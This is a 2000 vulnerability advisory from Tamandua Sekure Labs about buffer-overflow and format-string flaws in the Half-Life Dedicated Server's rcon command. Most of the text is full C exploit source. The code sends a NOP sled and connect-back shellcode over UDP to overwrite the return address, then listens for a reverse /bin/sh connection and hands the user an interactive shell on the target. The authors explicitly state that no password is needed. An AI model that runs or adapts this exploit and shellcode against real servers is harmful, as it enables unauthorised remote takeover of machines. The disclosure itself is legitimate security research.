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                                  TAMANDUA SEKURE LABS 
                               https://tamandua.sekure.org
                            Sao Paulo / Porto Alegre - Brazil


     
Issue:         Multiples vulnerabilities in Half-life Dedicated Server for Linux 
Advisory #:    sekure-2000-01
Version:       3.1.3.x
Patch 
Availability:  Soon
Severity:      High - Remote access 


Authors: 
 - Thiago Zaninotti (c0nd0r) <condor@sekure.org>
 - Gustavo Scotti (csh) <scotti@sekure.org>


1. Problem


Tamandua Sekure Labs has found multiple vulnerabilities in Half-life Dedicated
Server for Linux. These problems are related to the remote console command (rcon) 
and it can be exploited to gain remote access to the vulnerable server -- the 
attack may also be used to crash the server remotely.

You do not need the rcon password to attack the HLDS server -- all linux servers 
are vulnerable. 


2. Detailed description


- - Buffer Overflow in RCON command

The HLDS server does not check the input size of the rcon command issued by a 
remote user. By feeding the rcon command buffer with a large amount of data, it's 
possible to crash the server by hitting the return address with an arbitrary
character sequence. 

The problem seems to be related with the logging function. 

The exploitation allows the attacker to insert arbitrary instructions to be 
remotely executed in the server (you do not need a local account).


- - Format string error in RCON command

The HLDS server does not check properly the contents of the rcon command's buffer 
which will be given as a format argument to the sprintf() function. By sending a 
special sequence of characters (%*), the attacker might overwrite the program's 
return address and execute arbitrary instructions in the server.

The problem seems to be related with the logging function.


3. Current exploit status


There's no known exploits available to the public domain at the moment. 
(check section 6)


4. Source

- - Securityfocus.com Vulnerability Alert 
https://www.securityfocus.com/bid/1799

- - Analysis of a compromised Linux Machine 


5. Fix


There is no official fix from Valve Software.
https://www.valvesoftware.com

Check out https://server.counter-strike.net soon.

Temporary solution:
Disable the linux server.


6. TSLabs


Tamandua Sekure Labs is the first security dedicated laboratory at Brazil.
Coming soon: https://tamandua.sekure.org

We also would like to greet: Core SDI and USSR, which is part of the security 
force in South America.

For further information regarding the lab:
mailto:labs@sekure.org


7. Exploit Source

- ---[ hl-rcon.c ]----------------------------------
/*
 *  SDI HalfLife rcon remote exploit for linux x86
 *  (portuguese) exploit remoto para o buffer overflow do rcon no halflife
 *  
 *  Tamandua Sekure Labs (Sao Paulo - Porto Alegre, Brazil)
 *  by Thiago Zaninotti (c0nd0r) <condor@sekure.org>
 *     Gustavo Scotti   (csh)    <csh@sekure.org>
 *
 *  Proof of concept - There is a remote exploitable buffer overflow
 *  in Half Life server (3.1.0.x) for linux (HLDS). The problem is 
 *  related to the RCON command (Remote CONsole).
 *  (port.) Existe um buffer overflow exploitavel no Half Life Server
 *  (HLDS) relacionado ao comando RCON.
 * 
 *  After several tests, we found out the 'rcon' command is also vulnerable
 *  to a format string attack which can lead to a remote exploitation.
 *  (port) O comando RCON tambem e' vulneravel a um format string attack.
 *
 *  YOU DO NOT NEED THE RCON PASSWORD TO EXPLOIT THIS VULNERABILITY, 
 *  which means any multiplayer server is vulnerable to the attack.
 *  (port) Voce nao precisa de password para explorar esta vulnerabilidade,
 *    o que significa que qualquer servidor e' vulneravel.
 *  
 *  Agradecimentos: Tamandua Sekure Labs - Fabio Ramos (framos@axur.org), 
 *  Eduardo Freitas, Marcos Sposito, Roberto Monteiro (casper),
 *  Nelson Britto (stderr), Sabrina Monteiro, Gabriel Zaninotti e 
 *  Felipe Salum. A todos os leitores da Best of Security Brasil (BOS-BR).
 *           
 *  Respects: c_orb, el8.org (specially duke), meta, guys at core sdi, 
 *  the "infame" TOXYN.ORG (pt rocks) - r00t, pr0m, horizon, plaguez, 
 *  ratao and p.ulh.as/promisc.net crew. Greetz to AXUR.ORG too! guys at
 *  sekure.org: vader, jamez, falcon and staff. 
 *
 *  WE DO NOT TAKE ANY RESPONSABILITY. DO NOT USE THIS CODE TO GAIN 
 *  UNAUTHORIZED ACCESS TO A REMOTE SERVER -- THIS IS NOT LEGAL.
 *
 *  also thanks to botman (botman@mailandnews.com) and pudim.
 *  Visit the brazilian security portal: https://www.securenet.com.br
 */  

#include <stdlib.h>
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netdb.h>

typedef unsigned long  u32;
typedef unsigned short  u16;
typedef unsigned char  u8;

unsigned char shellcode[]=
"\xeb\x03\x5e\xeb\x1d\xe8\xf8\xff\xff\xff scotti@axur.org"
"\x2f\x62\x69\x6e\x2f"
"\x73\x68\x40\x31\xc0\x66\x40\x66\x40\x66\x89\x06\x31\xc9\xb1\x08"
"\x89\xf7\x83\xc7\x08\x30\xc0\x88\x07\x47\x49\x75\xfa\x31\xc0\x89"
"\x46\x28\x40\x89\x46\x24\x40\x89\x46\x20\x8d\x4e\x20\x31\xdb\x43"
"\x31\xc0\x83\xc0\x66\xcd\x80\x89\xc7\x89\x46\x20\x8d\x06\x89\x46"
"\x24\x31\xc0\x83\xc0\x10\x89\x46\x28\x8d\x4e\x20\x31\xdb\x43\x43"
"\x43\x31\xc0\x83\xc0\x66\x57\xcd\x80\x5f\x31\xc0\x83\xc0\x3f\x89"
"\xfb\x31\xc9\xcd\x80\x31\xc0\x83\xc0\x3f\x31\xdb\x31\xc9\x41\xcd"
"\x80\x31\xc0\x83\xc0\x3f\x31\xdb\x31\xc9\x41\x41\xcd\x80\x89\xf0"
"\x83\xc0\x18\x89\x46\x18\x31\xc0\x88\x46\x17\x89\x46\x1c\xb0\x0b"
"\x8d\x4e\x18\x8d\x56\x1c\x89\xf3\x83\xc3\x10\xcd\x80\x31\xc0\x40"
"\xcd\x80";


/* NET functions */
int
udp_read( int sock, u32 *daddr, u16 *port, void *ptr, u16 ptr_size)
{
        struct sockaddr_in server;
        int i,n;
        i = sizeof(server);
        n=recvfrom( sock, ptr, ptr_size, 0, (struct sockaddr *)&server, &i);
        *daddr = ntohl(server.sin_addr.s_addr);
        *port = ntohs(server.sin_port);
        return n;
}

int
udp_send( int sock, u32 daddr, u16 port, void *ptr, u16 ptr_size)
{
        struct sockaddr_in server;
        server.sin_family = AF_INET;
        server.sin_port = htons( port);
        server.sin_addr.s_addr = htonl( daddr);
        return sendto( sock, ptr, ptr_size, 0, (struct sockaddr *)&server, sizeof(server));
}

int
udp_connect( u32 addr, u16 port)
{
        struct sockaddr_in client;
        int new_fd;

        new_fd = socket( AF_INET, SOCK_DGRAM, 0);
        if (new_fd<0)
           return new_fd;

        bzero( (char *) &client, sizeof( client));
        client.sin_family = AF_INET;
        client.sin_addr.s_addr = htonl( addr);
        client.sin_port = htons( port);
        if (connect( new_fd, (struct sockaddr *)&client, sizeof(client))<0)
           return -1; /* cant bind local address */

        return new_fd;
}


u32 dns2ip( u8 *host)
{
        struct hostent *dns;
        u32     saddr;
        dns = gethostbyname( host);
        if (!dns)
           return 0xffffffff;
        bcopy( (char *)dns->h_addr, (char *)&saddr, dns->h_length);
        return ntohl(saddr);
}


int
async_read( int sock_r, int rettime)
{
   fd_set           fd_r;
   struct timeval   tv;
   char             try_ch[4]="/-\\|";

   int r,j;

   for (r=0;r<rettime;r++)
       {
       for (j=0;j<20;)
           {
           int i;

           printf("\b%c", try_ch[(j%4)]);
           fflush(stdout);

           FD_ZERO( &fd_r);
           FD_SET( sock_r, &fd_r);

     tv.tv_sec  = 0;
     tv.tv_usec = 50000;

           
     i =select( sock_r + 1, &fd_r, NULL, NULL, &tv);
           if (!i) { j++; continue; }
           if (i>0)
        if (FD_ISSET(sock_r, &fd_r)) return sock_r;
           else
              return -1;
           }
       }
   return -1;
}


int
get_server_info( int sock, u32 addr, u16 port)
{
   u32 r_addr;
   u16 r_port;
   int n, i;
   u8  pkt[256], *str;

   pkt[0] = pkt[1] = pkt[2] = pkt[3] = 0xff;
   sprintf(&pkt[4], "details");

   n = udp_send(sock, addr, port, pkt, strlen(pkt));
   printf(".  connecting to the server...  "); fflush(stdout);
   if (async_read(sock, 6)<0)
       goto server_down;
   n = udp_read(sock, &addr, &port, pkt, sizeof(pkt));
   if (n<0)
  {
server_down:
  printf("\bserver down!\r*\n");
  exit(0);
  }
   printf("\bdone\n");
   str = &pkt[4]; 
   str+=strlen(str)+1;
   printf("\t server_name  [%s]\n", str); str+=strlen(str)+1;
   printf("\t    map_name  [%s]\n", str); str+=strlen(str)+1;
   str+=strlen(str)+1;

   printf("\t   game_name  [%s]\n", str); str+=strlen(str)+1;
   printf("\tusers_online  [%d of %d]\n", str[0], str[1]); str+=3;
   printf("\t   remote_OS  [%s]\n", (str[1]=='w' ? "windows" : (str[1]=='l' ? "linux" : "unknown")));
   if (str[1]=='w') return 2;
   if (str[1]=='l') return 1;
   return 0;
}

u32 retrieve_local_info(int sock, u8 *host)
{
   struct sockaddr_in server;
   int    soclen;
   soclen = sizeof(server);
   if (getsockname(sock, (struct sockaddr *)&server, &soclen)<0)
       {
       printf("error in getsockname\n");
       exit(0);
       }
   snprintf(host, 256, "%s:%d", inet_ntoa(server.sin_addr), htons(server.sin_port));
   return htonl(server.sin_addr.s_addr);
}

int 
bind_tcp( int *port)
{
   struct sockaddr_in mask_addr;
   int sock, portno=25000; /* base_port */

   sock = socket( AF_INET, SOCK_STREAM, 0);
   if (sock<0)
      return sock;

redo:
   mask_addr.sin_family = AF_INET;
   mask_addr.sin_port = htons( portno);
   mask_addr.sin_addr.s_addr = 0;

   if (bind(sock, (struct sockaddr *)&mask_addr, sizeof(mask_addr))<0)
      {
error:
      portno++;
      if (portno>26000)
         {
         printf("*  no TCP port to bind in.\n");
         exit(0);
         }
      goto redo;
      }
   if (listen( sock, 0)<0)
      goto error;

   printf(".  TCP listen port number %d\n", portno);
   *port = portno;
   return sock;
}

wait_for_connect(int sock)
{
   fd_set fds;
   u8     tmp[256];
   int    tcp, addr_len;
   struct sockaddr_in server;

   printf(".  waiting for connect_back shellcode responde...  ");
   if (async_read(sock, 15)!=sock)
  {
    printf("\bfailed!\r*\n");
        exit(0);
        }
    tcp = accept( sock, (struct sockaddr *)&server, &addr_len);
    printf("\bconnected\n.       ^---> from %s:%d\n", inet_ntoa(server.sin_addr), ntohs(server.sin_port));
    close(sock); /* closing incoming socket */
    printf(".  congratulations. you have owned this one.\n");

    
    /* basic async mode */
    while (1)
        {
        FD_ZERO(&fds);
        FD_SET(0, &fds);
        FD_SET(tcp, &fds);
       
        if (select(tcp+1, &fds, NULL, NULL, NULL)>0)
           {
           if (FD_ISSET(0, &fds))
              {
              int n;
              n = read(0, tmp, 256);
              if (n<0)
                 goto end_conn;
              if (write(tcp, tmp, n)!=n) goto end_conn;
              }
           if (FD_ISSET(tcp, &fds))
              {
              int n;
              n = read(tcp, tmp, 256);
              if (n<0)
                 goto end_conn;

              if (write(0, tmp, n)!=n) goto end_conn;
              }
     }
  }
end_conn:
    close(tcp);
    printf(".  bye-bye. Stay tuned for more Tamandua Sekure Labs codes.\n");  
}

assembly_shell_code(int sock, u32 addr, u16 port, u32 laddr, u8 *linfo)
{
   u8    pkt[2048], 
         *shell_ptr;
   struct sockaddr_in *sc_server;
   u32   ret_addr = 0xbfffb1f4, last_byte = 1014, over_head = 40;
   int   i, n, tcp, tcp_port;

   printf(".  localinfo %s\n", linfo);
   tcp = bind_tcp( &tcp_port);
   sc_server = (struct sockaddr_in *)&shellcode[10];
   sc_server->sin_addr.s_addr = htonl(laddr);
   sc_server->sin_port = htons(tcp_port);

   last_byte-=strlen(linfo);
   pkt[0] = pkt[1] = pkt[2] = pkt[3] = 0xff;
   sprintf( &pkt[4], "rcon ");
   i = strlen(pkt);
   shell_ptr = &pkt[i];

   /* find out how many nops we can push before shellcode */
   n = last_byte - i - sizeof(shellcode)-1 - over_head;
   for (i=0;i<n;i++)
       shell_ptr[i] = 0x90; /* nop */
   shell_ptr+=i;

   /* fill in the shellcode */
   for (i=0;i<sizeof(shellcode)-1;i++)
       shell_ptr[i] = shellcode[i];
   shell_ptr+=i;

   /* fill in the overhead buffer */
   for (i=0;i<over_head;i++)
       shell_ptr[i] = '-';
   shell_ptr+=i;

   /* fill return address and ebp */
   *(u32 *)shell_ptr = ret_addr; shell_ptr+=4;
   *(u32 *)shell_ptr = ret_addr; shell_ptr+=4;

   /* finalize string */
   *shell_ptr = 0;

   n = udp_send( sock, addr, port, pkt, strlen(pkt));
   printf(".  sending poison code. %d bytes sent\n",n);
   wait_for_connect(tcp);
}

usage()
{
   printf("\n.  usage: hl-rcon <server ip[:port]>\n");
   exit(-1);
}

main(int argc, char **argv)
{
   u32 addr, laddr;
   u16 port;

   int sock, i;
   u8  linfo[256], *tmp = NULL;

   printf(".  half-life 3.1.0.x remote buffer-overflow for linux x86\n");
   printf(".  (c)2000, Tamandua Sekure Laboratories\n");
   printf(".  Authors: Thiago Zaninotti & Gustavo Scotti\n");

   if (argc<2)
      usage();

   tmp = (u8 *)strchr(argv[1], ':');
   if (tmp)
      {
      *tmp = 0; tmp++;
      port = atoi(tmp);
      }
   else
      {
      printf(":  port not found, using default 27015\n");
      port = 27015;
      }

   addr = dns2ip(argv[1]);

   if (addr==0xffffffff)
      {
      printf("host not found!\n");
      exit(0);
      }

   sock = udp_connect( addr, port);
   laddr = retrieve_local_info(sock, linfo);
   if (get_server_info(sock, addr, port)!=1)
      {
      printf("this is not a linux server. Make a shellcode to it and have fun\n");
      exit(0);
      }
   assembly_shell_code(sock, addr, port, laddr, linfo); 
   
}
 
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